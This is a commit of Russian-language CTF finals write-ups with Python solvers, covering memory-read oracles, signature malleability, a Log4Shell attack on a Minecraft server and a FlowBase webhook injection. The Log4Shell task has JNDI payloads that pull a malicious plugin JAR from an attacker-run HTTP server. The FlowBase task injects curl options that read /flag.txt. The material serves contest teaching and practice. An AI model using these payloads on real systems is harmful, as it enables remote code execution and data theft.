commit 880d8698d6e0a52d1bcb42afba4bfa3882334d42 Author: Caplag <> Date: Thu Sep 17 00:50:07 2026 +0300 Init. Commit diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..7324f1b --- /dev/null +++ b/.gitignore @@ -0,0 +1,5 @@ +.DS_Store +__pycache__/ +*.py[cod] +.pytest_cache/ +.venv/ diff --git a/README.md b/README.md new file mode 100644 index 0000000..689c488 --- /dev/null +++ b/README.md @@ -0,0 +1,28 @@ +
+
+
отборочный и финальный этапы · writeups
+ +
+
+
+
+
Финальный этап · writeups
+ +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
(.*?)", r.text, re.S) + if not m: + print(f"[-] no exports JSON on the page (evaluation failed?):\n{r.text[:500]}") + return 1 + try: + exports = json.loads(m.group(1).replace(""", '"').replace("&", "&") + .replace("<", "<").replace(">", ">").replace("'", "'")) + except json.JSONDecodeError as e: + print(f"[-] could not parse exports JSON: {e}\n{m.group(1)}") + return 1 + print(f"[+] module exports: {exports}") + + # 5. extract the flag value + value = next((str(v) for v in exports.values() if isinstance(v, str) and v), None) + if not value: + print("[-] no flag-like string in the exports") + return 1 + print(f"\n[FLAG] caplag{{{value}}}") + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/finals/nullroute-kem-crypto-easy/WRITEUP.md b/finals/nullroute-kem-crypto-easy/WRITEUP.md new file mode 100644 index 0000000..be6a703 --- /dev/null +++ b/finals/nullroute-kem-crypto-easy/WRITEUP.md @@ -0,0 +1,63 @@ +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
RegexScope + ++
+ +RegexScope — стенд SOC-команды для проверки правил фильтрации. В памяти за тестовым событием лежит случайный токен экспорта. В ELF `regexscope` готового токена нет, поскольку он генерируется при старте. Движок правил позволяет проверять байты за пределами события. + +## Решение + +Поля состояния расположены подряд: + +```c +char event[32]; +char token[8]; +``` + +Сам токен занимает шесть символов из `A-Z0-9`. Правило `SCOPE+
+
` сравнивает заданный байт с `event[strlen(event) + off]` и отвечает `MATCH` или `MISS`. Верхней границы индекса нет, поэтому получаем оракул чтения по одному байту. + +В `1) set test event` отправляем 30 символов `A`. Тогда начало токена находится на два байта дальше конца строки: + +```text +strlen(event) + off = 30 + (i + 2) = 32 + i +``` + +Для каждой позиции `i` от 0 до 5 перебираем алфавит. Для каждой попытки выбираем пункт `2`, дожидаемся `rule:` и передаём строку правила. Например, проверка первого байта на `A` выглядит так: + +```text +SCOPE 2 41 +``` + +`41` — hex-код ASCII `A`. При `MISS` пробуем следующий символ, при `MATCH` сохраняем найденный и переходим к следующему смещению. Верхняя граница — `6 × 36 = 216` проверок. + +> Все запросы делаем в одном соединении, поскольку новый процесс получит другой токен, и уже найденные байты перестанут подходить. + +Собираем шесть символов и передаём их в `3) export scope`. Сервис сравнивает строку с настоящим токеном и отдаёт флаг. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{scoped_matcher_read_the_guard_token}` diff --git a/finals/regexscope-pwn-easy/solve/solve.py b/finals/regexscope-pwn-easy/solve/solve.py new file mode 100644 index 0000000..c56227a --- /dev/null +++ b/finals/regexscope-pwn-easy/solve/solve.py @@ -0,0 +1,82 @@ +#!/usr/bin/env python3 +import argparse +import os +import socket +import struct +import subprocess +import sys + +class Tube: + def __init__(self, sock=None, proc=None): + self.sock = sock + self.proc = proc + def recv(self, n=4096): + if self.sock: + return self.sock.recv(n) + return os.read(self.proc.stdout.fileno(), n) + def send(self, data): + if self.sock: + self.sock.sendall(data) + else: + os.write(self.proc.stdin.fileno(), data) + def sendline(self, data): + self.send(data + b"\n") + def recvuntil(self, marker): + out = b"" + while marker not in out: + chunk = self.recv(1) + if not chunk: + raise EOFError(out) + out += chunk + return out + +def symbol_value(binary, name): + out = subprocess.check_output(["readelf", "-sW", binary], text=True) + for line in out.splitlines(): + fields = line.split() + if len(fields) >= 8 and fields[-1] == name: + return int(fields[1], 16) + raise RuntimeError(f"symbol not found: {name}") + +def connect(args): + if args.local: + env = os.environ.copy() + env["CTF_FLAG"] = args.flag + proc = subprocess.Popen([args.binary], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env) + return Tube(proc=proc) + return Tube(sock=socket.create_connection((args.host, args.port), timeout=5)) + +def choose(io, value): + io.recvuntil(b">") + io.sendline(str(value).encode()) + +def main(): + p = argparse.ArgumentParser() + p.add_argument("--host", default="127.0.0.1") + p.add_argument("--port", type=int, default=31342) + p.add_argument("--local", action="store_true") + p.add_argument("--binary", default="../public/regexscope") + p.add_argument("--flag", default="caplag{scoped_matcher_read_the_guard_token}") + args = p.parse_args() + io = connect(args) + choose(io, 1) + io.recvuntil(b"event:\n") + io.sendline(b"A" * 30) + token = b"" + alphabet = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" + for i in range(6): + for c in alphabet: + choose(io, 2) + io.recvuntil(b"rule:\n") + io.sendline(f"SCOPE {i+2} {c:02x}".encode()) + ans = io.recvuntil(b"\n") + if b"MATCH" in ans: + token += bytes([c]) + break + choose(io, 3) + io.recvuntil(b"token:\n") + io.sendline(token) + data = io.recvuntil(b"}") + print(data[data.rfind(b"caplag{"):].decode()) +if __name__ == "__main__": + sys.exit(main()) diff --git a/finals/scalaralias-crypto-easy/WRITEUP.md b/finals/scalaralias-crypto-easy/WRITEUP.md new file mode 100644 index 0000000..e9fd557 --- /dev/null +++ b/finals/scalaralias-crypto-easy/WRITEUP.md @@ -0,0 +1,82 @@ + ScalarAlias
+ ++
+ +Реестр KiteLedger выдаёт аудиторскую квитанцию с подписью и запечатанный экспорт. Подпись проверяется по числовым значениям, а ключ экспорта привязан к байтам JSON. Если найти две разные записи одной валидной подписи, можно получить нужный вариант квитанции. + +## Решение + +В раздатке есть `receipt.json`, `sealed_export.json`, `verify_receipt.py` и `NOTES.md`. Смотрим проверку Schnorr-подобной подписи: + +```text +left = ((s % Q) * BASE) % Q +right = (R + e * public_key) % Q +``` + +Здесь `Q = 170141183460469231731687303715884105727`, `BASE = 9`, а `e` вычисляется через SHA-256. Скаляр `s` приводят по модулю `Q`, но диапазон `0 <= s < Q` перед этим не проверяют. + +Получается, `(R, s)` и `(R, s + Q)` проходят одну и ту же проверку, поскольку остаток одинаковый. При этом значение `s` в сериализованном JSON различается. Это и есть **malleability**, возможность изменить подпись, сохранив её валидность. + +Пробуем ближайший эквивалентный вариант `s + Q`. Загружаем квитанцию и функции из `public/verify_receipt.py`, затем меняем скаляр, сохраняя его строковое представление. + +```python +from pathlib import Path +from hashlib import sha256 +import importlib.util +import json + +spec = importlib.util.spec_from_file_location("receipt_verifier", "public/verify_receipt.py") +verifier = importlib.util.module_from_spec(spec) +spec.loader.exec_module(verifier) +Q = verifier.Q +receipt = json.loads(Path("public/receipt.json").read_text()) +changed = json.loads(json.dumps(receipt)) +changed["signature"]["s"] = str(int(changed["signature"]["s"]) + Q) +``` + +Проверяем изменённую квитанцию через `verify_receipt()`, затем получаем ключ: + +```python +assert verifier.verify_receipt(changed) +key = sha256( + b"KiteLedger sealed export binding\0" + verifier.canonical_json(changed) +).digest() +``` + +`canonical_json` сортирует ключи и использует компактные разделители. Повторяем именно эту сериализацию, иначе получим другой ключ. Из `sealed_export.json` переводим `nonce_hex`, `ciphertext_hex` и `tag_hex` в байты. Первые 16 байт `sha256(key + b"export-tag" + nonce + ciphertext).digest()` сравниваем с тегом экспорта. Проверяем тег до расшифровки. + +```python +sealed = json.loads(Path("public/sealed_export.json").read_text()) +nonce = bytes.fromhex(sealed["nonce_hex"]) +ciphertext = bytes.fromhex(sealed["ciphertext_hex"]) +tag = bytes.fromhex(sealed["tag_hex"]) +expected = sha256(key + b"export-tag" + nonce + ciphertext).digest()[:16] +assert expected == tag +``` + +Для варианта `s + Q` тег сходится, подтверждая выбор квитанции. + +После проверки снимаем XOR. Блоки потока считаются как `sha256(key + b"scalaralias-stream" + nonce + counter4be).digest()`, где `counter4be` — четыре байта счётчика в big-endian. Счётчик начинается с нуля. + +```python +stream = bytearray() +counter = 0 +while len(stream) < len(ciphertext): + stream.extend(sha256( + key + b"scalaralias-stream" + nonce + counter.to_bytes(4, "big") + ).digest()) + counter += 1 +plain = bytes(a ^ b for a, b in zip(ciphertext, stream)) +print(plain.decode()) +``` + +Полученный текст содержит флаг. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{noncanonical_scalar_unsealed_the_export}` diff --git a/finals/scalaralias-crypto-easy/solve/solve.py b/finals/scalaralias-crypto-easy/solve/solve.py new file mode 100644 index 0000000..e729547 --- /dev/null +++ b/finals/scalaralias-crypto-easy/solve/solve.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python3 +import importlib.util +import json +import re +from pathlib import Path + + +ROOT = Path(__file__).resolve().parents[1] + + +def load_verifier(): + path = ROOT / "public" / "verify_receipt.py" + spec = importlib.util.spec_from_file_location("scalaralias_verify", path) + module = importlib.util.module_from_spec(spec) + assert spec.loader is not None + spec.loader.exec_module(module) + return module + + +verifier = load_verifier() + + +def malleate_receipt(receipt: dict) -> dict: + changed = json.loads(json.dumps(receipt)) + changed["signature"]["s"] = str(int(changed["signature"]["s"]) + verifier.Q) + return changed + + +def binding_key(receipt: dict) -> bytes: + return verifier.hashlib.sha256( + b"KiteLedger sealed export binding\0" + verifier.canonical_json(receipt) + ).digest() + + +def keystream(key: bytes, nonce: bytes, length: int) -> bytes: + out = b"" + counter = 0 + while len(out) < length: + out += verifier.hashlib.sha256( + key + b"scalaralias-stream" + nonce + counter.to_bytes(4, "big") + ).digest() + counter += 1 + return out[:length] + + +def xor_bytes(left: bytes, right: bytes) -> bytes: + return bytes(a ^ b for a, b in zip(left, right)) + + +def open_export(receipt: dict, sealed: dict) -> str: + if not verifier.verify_receipt(receipt): + raise ValueError("receipt does not verify") + + key = binding_key(receipt) + nonce = bytes.fromhex(sealed["nonce_hex"]) + ciphertext = bytes.fromhex(sealed["ciphertext_hex"]) + tag = bytes.fromhex(sealed["tag_hex"]) + expected = verifier.hashlib.sha256(key + b"export-tag" + nonce + ciphertext).digest()[:16] + if expected != tag: + raise ValueError("sealed export tag mismatch") + plaintext = xor_bytes(ciphertext, keystream(key, nonce, len(ciphertext))).decode() + match = re.search(r"caplag\{[^}]+\}", plaintext) + if not match: + raise ValueError("flag not found") + return match.group(0) + + +def main() -> None: + receipt = json.loads((ROOT / "public" / "receipt.json").read_text()) + sealed = json.loads((ROOT / "public" / "sealed_export.json").read_text()) + print(open_export(malleate_receipt(receipt), sealed)) + + +if __name__ == "__main__": + main() diff --git a/finals/sortkey-station-pwn-easy/WRITEUP.md b/finals/sortkey-station-pwn-easy/WRITEUP.md new file mode 100644 index 0000000..472d817 --- /dev/null +++ b/finals/sortkey-station-pwn-easy/WRITEUP.md @@ -0,0 +1,35 @@ ++
+
SortKey Station
+ ++
+ +Складская станция сортирует этикетки и поддерживает старый формат ключей `+POS.C`. В ELF `sortkey-station` находим приведение позиции к знаковому 16-битному числу. Большая положительная позиция после него превращается в отрицательное смещение. + +## Решение + +При проверке старого ключа сервис обращается к `key_buf + (int16_t)pos` и сравнивает строку по этому адресу с `SORT-EXPORT`. Если подобрать `pos`, чтение уйдёт перед началом ключа — в профиль партии, содержимое которого можно задать. + +Нужная область находится за 32 байта до `key_buf`. В 16-битной арифметике: + +$$65504 - 65536 = -32.$$ + +Значит, подходит ключ `+65504.0`. Теперь размещаем строку допуска в профиле: + +```python +profile = b"A" * 64 + b"SORT-EXPORT" +legacy_key = b"+65504.0" +``` + +Строка допуска начинается после 64 байт заполнения в профиле, по смещению `-32` от начала `key_buf`. + +В `1) set batch profile` отправляем профиль, затем в `2) set legacy sort key` задаём `+65504.0`. Вызываем `3) dry-run sort`, чтобы сервис проверил допуск, и забираем результат через `4) export station batch`. + +Проверка читает `SORT-EXPORT` из подставленного профиля и принимает его за разрешение на экспорт. В ответе получаем флаг. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{legacy_sort_pointer_found_the_batch_grant}` diff --git a/finals/sortkey-station-pwn-easy/solve/solve.py b/finals/sortkey-station-pwn-easy/solve/solve.py new file mode 100644 index 0000000..63078ee --- /dev/null +++ b/finals/sortkey-station-pwn-easy/solve/solve.py @@ -0,0 +1,73 @@ +#!/usr/bin/env python3 +import argparse +import os +import socket +import struct +import subprocess +import sys + +class Tube: + def __init__(self, sock=None, proc=None): + self.sock = sock + self.proc = proc + def recv(self, n=4096): + if self.sock: + return self.sock.recv(n) + return os.read(self.proc.stdout.fileno(), n) + def send(self, data): + if self.sock: + self.sock.sendall(data) + else: + os.write(self.proc.stdin.fileno(), data) + def sendline(self, data): + self.send(data + b"\n") + def recvuntil(self, marker): + out = b"" + while marker not in out: + chunk = self.recv(1) + if not chunk: + raise EOFError(out) + out += chunk + return out + +def symbol_value(binary, name): + out = subprocess.check_output(["readelf", "-sW", binary], text=True) + for line in out.splitlines(): + fields = line.split() + if len(fields) >= 8 and fields[-1] == name: + return int(fields[1], 16) + raise RuntimeError(f"symbol not found: {name}") + +def connect(args): + if args.local: + env = os.environ.copy() + env["CTF_FLAG"] = args.flag + proc = subprocess.Popen([args.binary], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env) + return Tube(proc=proc) + return Tube(sock=socket.create_connection((args.host, args.port), timeout=5)) + +def choose(io, value): + io.recvuntil(b">") + io.sendline(str(value).encode()) + +def main(): + p = argparse.ArgumentParser() + p.add_argument("--host", default="127.0.0.1") + p.add_argument("--port", type=int, default=31340) + p.add_argument("--local", action="store_true") + p.add_argument("--binary", default="../public/sortkey-station") + p.add_argument("--flag", default="caplag{legacy_sort_pointer_found_the_batch_grant}") + args = p.parse_args() + io = connect(args) + choose(io, 1) + io.recvuntil(b"profile:") + io.sendline(b"A" * 64 + b"SORT-EXPORT") + choose(io, 2) + io.recvuntil(b"legacy key:") + io.sendline(b"+65504.0") + choose(io, 3) + choose(io, 4) + data = io.recvuntil(b"}") + print(data[data.rfind(b"caplag{"):].decode()) +if __name__ == "__main__": + sys.exit(main()) diff --git a/finals/syktyvkar/WRITEUP.md b/finals/syktyvkar/WRITEUP.md new file mode 100644 index 0000000..6632d2a --- /dev/null +++ b/finals/syktyvkar/WRITEUP.md @@ -0,0 +1,126 @@ ++
+
SYKTYV/KAR
+ ++
+ +После возвращения SYKTYV/KAR к штатной работе её аварийные копии отправили на удаление. На последнем узле осталась цифровая копия кольца со стеллой. Очистка каждый раз останавливается с сообщением «На территории остались жители». + +На старте есть индивидуальный SSH-доступ к узлу с Minecraft-миром. Нужно найти дорогу к стелле и выяснить, кто остался на территории после завершения симуляции. + +## Решение + +Подключитесь к узлу по выданным SSH-реквизитам. + +```bash +ssh -p+
player@ +``` + +Пользователь работает в ограниченном `rbash`, а неизменяемый `PATH` указывает на `/opt/diag`. Доступные диагностические утилиты позволяют узнать имя серверного JAR и открытый порт. + +```bash +ps aux # java -jar /opt/minecraft/spigot-1.16.5.jar +ss -ltn # 25565 слушает +``` + +Процесс запущен с `spigot-1.16.5.jar`, сервер слушает порт `25565`. Сам номер версии ещё не доказывает наличие Log4Shell (CVE-2021-44228), поскольку для 1.16.5 выпускались [исправленные сборки](https://www.spigotmc.org/threads/spigot-security-releases-%E2%80%94-1-8-8%E2%80%931-18.537204/). Проверьте обработку `${jndi:...}` в чате. + +Для доступа к Minecraft пробросьте порт через SSH. + +```bash +ssh -N -p player@ -L 25565:127.0.0.1:25565 +``` + +Подключитесь клиентом Minecraft Java **1.16.5** к `127.0.0.1:25565`. Сервер работает в offline mode и принимает любой ник. + +В MOTD есть глифы Standard Galactic Alphabet. Вторая строка декодируется в `jebat jnl`, а после ROT13 получается `wrong way`. Эта подсказка ведёт в тупик. + +### Проверка обработчика + +Запустите LDAP-сервер, который на поисковый запрос возвращает следующие атрибуты. + +```text +javaCodeBase: http:// :8000/garbage +javaFactory: pwn.Pwned +``` + +По адресу из `javaCodeBase` разместите тестовый файл `garbage` с произвольным содержимым и откройте к нему доступ по HTTP. + +```bash +python3 -m http.server 8000 --bind 0.0.0.0 +``` + +Отправьте JNDI-ссылку в чат. + +```text +${jndi:ldap:// :1389/Exploit} +``` + +Сервер обращается по ссылке, скачивает файл из `javaCodeBase` и пытается загрузить его как плагин. В чате появляется ошибка. + +```text +Could not load plugin in folder 'plugins': invalid plugin JAR +``` + +Ошибка указывает на загрузку Bukkit-плагина. В этом стенде обработчик `${jndi:...}` передаёт скачанный JAR в HotLoader. Для получения флага подходит плагин, который прочитает файл при загрузке. + +### Загрузка плагина + +Подготовьте Bukkit-плагин для Spigot 1.16.5, используя `spigot-api` версии 1.16.5 и байткод Java 8. Укажите класс `pwn.Pwned` в `plugin.yml`. + +```yaml +name: Pwned +version: 1.0.0 +main: pwn.Pwned +api-version: "1.16" +``` + +В `Pwned.java` добавьте обработчик `onEnable()`, который читает `flag.txt` из рабочей директории сервера и отправляет содержимое в чат. + +```java +package pwn; + +import org.bukkit.Bukkit; +import org.bukkit.plugin.java.JavaPlugin; + +import java.nio.charset.StandardCharsets; +import java.nio.file.Files; +import java.nio.file.Paths; + +public final class Pwned extends JavaPlugin { + @Override + public void onEnable() { + try { + String flag = new String(Files.readAllBytes(Paths.get("flag.txt")), StandardCharsets.UTF_8).trim(); + Bukkit.broadcastMessage("[PWN] " + flag); + } catch (Exception exception) { + Bukkit.broadcastMessage("[PWN] flag read failed: " + exception.getMessage()); + } + } +} +``` + +Упакуйте `plugin.yml` и `pwn/Pwned.class` в JAR. Готовый [Pwned.jar](solve/payload/Pwned.jar) содержит оба файла. + +Разместите JAR на HTTP-сервере и укажите его адрес в LDAP-ответе. + +```text +javaCodeBase: http:// :8000/Pwned.jar +javaFactory: pwn.Pwned +``` + +Повторно отправьте ссылку в чат. + +```text +${jndi:ldap:// :1389/Exploit} +``` + +Сервер скачивает JAR, проверяет формат ZIP, наличие `plugin.yml` и основного класса, затем сверяет `javaFactory` с полем `main`. После сохранения файла в `plugins/dropins/` HotLoader загружает плагин. Вызов `onEnable()` читает `flag.txt` и публикует флаг в чате. + +В [солвере](solve/solve.py) используется прямая HTTP-доставка JAR через `${jndi:http:// : /pwned.jar}`. + +## Флаг + +`caplag{m1n3cr4ft_15_my_l1f3_XXXX}` + +Суффикс `XXXX` зависит от выданного команде узла. diff --git a/finals/syktyvkar/solve/payload/Pwned.jar b/finals/syktyvkar/solve/payload/Pwned.jar new file mode 100644 index 0000000..887016d Binary files /dev/null and b/finals/syktyvkar/solve/payload/Pwned.jar differ diff --git a/finals/syktyvkar/solve/payload/Pwned.java b/finals/syktyvkar/solve/payload/Pwned.java new file mode 100644 index 0000000..af9d45f --- /dev/null +++ b/finals/syktyvkar/solve/payload/Pwned.java @@ -0,0 +1,20 @@ +package pwn; + +import org.bukkit.Bukkit; +import org.bukkit.plugin.java.JavaPlugin; + +import java.nio.charset.StandardCharsets; +import java.nio.file.Files; +import java.nio.file.Paths; + +public final class Pwned extends JavaPlugin { + @Override + public void onEnable() { + try { + String flag = new String(Files.readAllBytes(Paths.get("flag.txt")), StandardCharsets.UTF_8).trim(); + Bukkit.broadcastMessage("[PWN] " + flag); + } catch (Exception exception) { + Bukkit.broadcastMessage("[PWN] flag read failed: " + exception.getMessage()); + } + } +} diff --git a/finals/syktyvkar/solve/payload/plugin.yml b/finals/syktyvkar/solve/payload/plugin.yml new file mode 100644 index 0000000..cd1136f --- /dev/null +++ b/finals/syktyvkar/solve/payload/plugin.yml @@ -0,0 +1,4 @@ +name: Pwned +version: 1.0.0 +main: pwn.Pwned +api-version: "1.16" diff --git a/finals/syktyvkar/solve/payload/stubs/org/bukkit/Bukkit.java b/finals/syktyvkar/solve/payload/stubs/org/bukkit/Bukkit.java new file mode 100644 index 0000000..0eb0567 --- /dev/null +++ b/finals/syktyvkar/solve/payload/stubs/org/bukkit/Bukkit.java @@ -0,0 +1,7 @@ +package org.bukkit; + +public final class Bukkit { + public static int broadcastMessage(String message) { + return 0; + } +} diff --git a/finals/syktyvkar/solve/payload/stubs/org/bukkit/plugin/java/JavaPlugin.java b/finals/syktyvkar/solve/payload/stubs/org/bukkit/plugin/java/JavaPlugin.java new file mode 100644 index 0000000..4ec2dd1 --- /dev/null +++ b/finals/syktyvkar/solve/payload/stubs/org/bukkit/plugin/java/JavaPlugin.java @@ -0,0 +1,12 @@ +package org.bukkit.plugin.java; + +public class JavaPlugin { + public void onLoad() { + } + + public void onEnable() { + } + + public void onDisable() { + } +} diff --git a/finals/syktyvkar/solve/requirements.txt b/finals/syktyvkar/solve/requirements.txt new file mode 100644 index 0000000..c59cac4 --- /dev/null +++ b/finals/syktyvkar/solve/requirements.txt @@ -0,0 +1 @@ +paramiko>=3.0 diff --git a/finals/syktyvkar/solve/solve.py b/finals/syktyvkar/solve/solve.py new file mode 100644 index 0000000..325bfd8 --- /dev/null +++ b/finals/syktyvkar/solve/solve.py @@ -0,0 +1,275 @@ +#!/usr/bin/env python3 +"""Minimal task checker + solver: SSH tunnel, JNDI egress, flag extraction. + +Usage: + python solve.py [--my-ip LAN_IP] + +Steps: + 1. SSH direct-tcpip to the container's Minecraft port + 2. Login as an offline 1.16.5 player + 3. Start a local HTTP listener (probe + payload JAR) + 4. Send ${jndi:http:// : /check} in chat — egress probe + 5. Send ${jndi:http:// : /pwned.jar} — real payload + 6. Extract flag from chat broadcast +""" +import io +import os +import re +import socket +import struct +import sys +import threading +import time +import zipfile + +try: + import paramiko +except ImportError: + print("FAIL: pip install paramiko"); sys.exit(1) + +PROTO = 754 # 1.16.5 +FLAG_MARK = "caplag{" +FLAG_RE = re.compile(r"caplag\{[^{}\r\n]+\}") + + +def varint(v): + out = b"" + while True: + b = v & 0x7F; v >>= 7 + if v: out += bytes([b | 0x80]) + else: return out + bytes([b]) + + +def dec_varint(d, p=0): + v = 0; s = 0 + while True: + b = d[p]; p += 1 + v |= (b & 0x7F) << s + if not b & 0x80: return v, p + s += 7 + + +def load_payload(): + jar = os.path.join(os.path.dirname(os.path.abspath(__file__)), + "payload", "Pwned.jar") + if not os.path.isfile(jar): + return None + suffix = str(int(time.time()))[-6:] + src = zipfile.ZipFile(jar) + buf = io.BytesIO() + with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as out: + for item in src.infolist(): + data = src.read(item.filename) + if item.filename == "plugin.yml": + data = data.decode().replace( + "name: Pwned", "name: Pwned" + suffix).encode() + out.writestr(item, data) + src.close() + return buf.getvalue() + + +class MC: + def __init__(self, sock, nick): + self.s = sock; self.th = -1; self.chat = []; self.lock = threading.Lock() + self.wlock = threading.Lock() + + def send(self, pid, body=b""): + p = varint(pid) + body + f = varint(0) + p if self.th >= 0 else p + with self.wlock: + self.s.sendall(varint(len(f)) + f) + + def recv_pkt(self): + ln = 0; sh = 0 + while True: + b = self._b(1)[0] + ln |= (b & 0x7F) << sh + if not b & 0x80: break + sh += 7 + raw = self._b(ln) + if self.th >= 0: + dl = 0; sh = 0; p = 0 + while True: + b = raw[p]; p += 1 + dl |= (b & 0x7F) << sh + if not b & 0x80: break + sh += 7 + body = raw[p:] + if dl: body = __import__("zlib").decompress(body) + else: + body = raw + return body[0], body[1:] + + def _b(self, n): + d = b"" + while len(d) < n: + c = self.s.recv(n - len(d)) + if not c: raise ConnectionError("closed") + d += c + return d + + def login(self, nick): + h = b"127.0.0.1" + hs = varint(0) + varint(PROTO) + varint(len(h)) + h + struct.pack(">H", 25565) + varint(2) + self.s.sendall(varint(len(hs)) + hs) + self.send(0, varint(len(nick)) + nick.encode()) + for _ in range(10): + pid, pl = self.recv_pkt() + if pid == 3: self.th = dec_varint(pl)[0] + elif pid == 2: + threading.Thread(target=self._rd, daemon=True).start() + return True + return False + + def _rd(self): + import json + while True: + try: + pid, pl = self.recv_pkt() + except Exception: + return + if pid == 0x0E: + try: + jl, off = dec_varint(pl) + obj = json.loads(pl[off:off + jl].decode("utf-8", "replace")) + txt = [] + def w(n): + if isinstance(n, dict): + if "text" in n: txt.append(str(n["text"])) + for k in ("extra", "with"): + for i in n.get(k, []) or []: w(i) + elif isinstance(n, str): txt.append(n) + w(obj) + line = "".join(txt) + if line: + with self.lock: + self.chat.append(line) + except Exception: + pass + elif pid == 0x21 and len(pl) == 8: + v = int.from_bytes(pl, "big") + if 0 < v < (1 << 40): + self.send(0x10, pl) + + def say(self, t): + self.send(3, varint(len(t)) + t.encode()) + + def wait(self, m, to=20, since=0, pattern=None): + dl = time.time() + to + while time.time() < dl: + with self.lock: + for l in self.chat[since:]: + if m in l and (pattern is None or pattern.search(l)): + return l + time.sleep(0.2) + return None + + +def main(): + if len(sys.argv) < 5: + print(__doc__); sys.exit(1) + host, port, user, pw = sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4] + my_ip = "127.0.0.1" + if "--my-ip" in sys.argv: + my_ip = sys.argv[sys.argv.index("--my-ip") + 1] + else: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + try: s.connect(("8.8.8.8", 80)); my_ip = s.getsockname()[0] + except Exception: pass + finally: s.close() + + payload_jar = load_payload() + print(f"[*] target {host}:{port} as {user}") + print(f"[*] my IP: {my_ip}") + if not payload_jar: + print("FAIL: payload/Pwned.jar is missing") + sys.exit(1) + print("[*] payload: OK") + + # 1. SSH tunnel + print("[1] SSH tunnel...", end=" ", flush=True) + try: + cli = paramiko.SSHClient() + cli.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + cli.connect(host, port=port, username=user, password=pw, + look_for_keys=False, allow_agent=False, timeout=8) + chan = cli.get_transport().open_channel( + "direct-tcpip", ("127.0.0.1", 25565), ("127.0.0.1", 0)) + print("OK") + except Exception as e: + print(f"FAIL ({e})"); sys.exit(1) + + # 2. HTTP listener (probe + payload) + hit = [] + from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer + class H(BaseHTTPRequestHandler): + def do_GET(self): + hit.append(self.path) + body = b"x" + if self.path == "/pwned.jar" and payload_jar: + body = payload_jar + self.send_response(200) + self.send_header("Content-Length", str(len(body))) + self.end_headers() + self.wfile.write(body) + def log_message(self, *a): pass + httpd = ThreadingHTTPServer(("0.0.0.0", 0), H) + http_port = httpd.server_address[1] + threading.Thread(target=httpd.serve_forever, daemon=True).start() + print(f"[2] HTTP listener on :{http_port}") + + # 3. MC login + print("[3] Minecraft login...", end=" ", flush=True) + mc = MC(chan, "Checker") + if not mc.login("Checker"): + print("FAIL"); sys.exit(1) + print("OK") + time.sleep(3) + with mc.lock: + base = len(mc.chat) + + # 4. Egress probe + probe_url = f"http://{my_ip}:{http_port}/check" + print(f"[4] Egress probe: {probe_url}", flush=True) + mc.say(f"${{jndi:{probe_url}}}") + probe_ok = False + dl = time.time() + 15 + while time.time() < dl: + if any("/check" in h for h in hit): + probe_ok = True + print("[4] PASS: egress confirmed (server fetched /check)") + break + r = mc.wait("Could not load plugin", to=1, since=base) + if r: + probe_ok = True + print("[4] PASS: chat oracle responded") + break + time.sleep(0.5) + if not probe_ok: + print("[4] FAIL: no egress, no oracle") + sys.exit(1) + time.sleep(1) + with mc.lock: + base2 = len(mc.chat) + + # 5. Flag extraction + jar_url = f"http://{my_ip}:{http_port}/pwned.jar" + print(f"[5] Sending payload: {jar_url}", flush=True) + mc.say(f"${{jndi:{jar_url}}}") + line = mc.wait(FLAG_MARK, to=25, since=base2, pattern=FLAG_RE) + if line is None: + line = mc.wait("[PWN]", to=2, since=base2) + match = FLAG_RE.search(line) if line else None + if match: + print(f"[5] FLAG: {line}") + print(f"\n {match.group(0)}\n") + sys.exit(0) + if line: + print(f"[5] FAIL: plugin returned no complete flag: {line}") + sys.exit(1) + print("[5] FAIL: no flag in chat within 25s") + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/finals/task11_flowbase/WRITEUP.md b/finals/task11_flowbase/WRITEUP.md new file mode 100644 index 0000000..3a655f6 --- /dev/null +++ b/finals/task11_flowbase/WRITEUP.md @@ -0,0 +1,49 @@ + FlowBase
+ ++
+ +В платформе автоматизации FlowBase собираем потоки из нод и запускаем их вебхуками. Флаг лежит в `/flag.txt`, доступном служебному пользователю `flowsvc`. В сервисе открыта регистрация. Начинаем с создания учётной записи. + +## Решение + +`robots.txt` подсказывает каталог `/dl/`. Файл, записанный в этот каталог, можно будет забрать через веб. Регистрируемся через `POST /api/register` с JSON-полями `username` и `password`. Из поля `token` ответа получаем bearer-токен и передаём его в `Authorization: Bearer+
+
` при чтении потоков и их версий. `GET /api/flows` показывает только потоки текущего пользователя. Сразу после регистрации список пуст. + +Зато `GET /api/flows/{id}/versions` владельца не проверяет. Перебираем числовые ID от 1 до 40 с полученным токеном и находим чужой `backup-daily`. В JSON версий находим ноду `system.run` и берём `webhook_uuid` соответствующей версии. Проверяем её параметры. + +| Поле | Почему интересно | +|---|---| +| `owner = admin` | Поток принадлежит администратору | +| `webhook_uuid` | Адрес запуска потока | +| Нода `system.run` | Выполняет `curl $CURL_OPTS $BACKUP_URL` | + +IDOR дал UUID вебхука. Проверка его ключа отключена через `WebhookAuthEnable=false`, поэтому `POST /webhooks/{uuid}/run` запускает поток без авторизации. Тело запроса позволяет задать `env` для нод. + +Сервис проверяет, что первое слово команды равно `curl`, но аргументы берёт из переданных переменных. Подставляем локальный источник и файл назначения: + +```json +{ + "env": { + "BACKUP_URL": "file:///flag.txt", + "CURL_OPTS": "-s -o /app/static/dl/leak.txt" + } +} +``` + +Отправляем этот JSON в `POST /webhooks/{uuid}/run` с `Content-Type: application/json`, без заголовка авторизации. На сервере получается: + +```bash +curl -s -o /app/static/dl/leak.txt file:///flag.txt +``` + +Процесс `flowsvc` может прочитать флаг и записать файл в каталог статики. Вывод ноды в ответ вебхука не попадает. 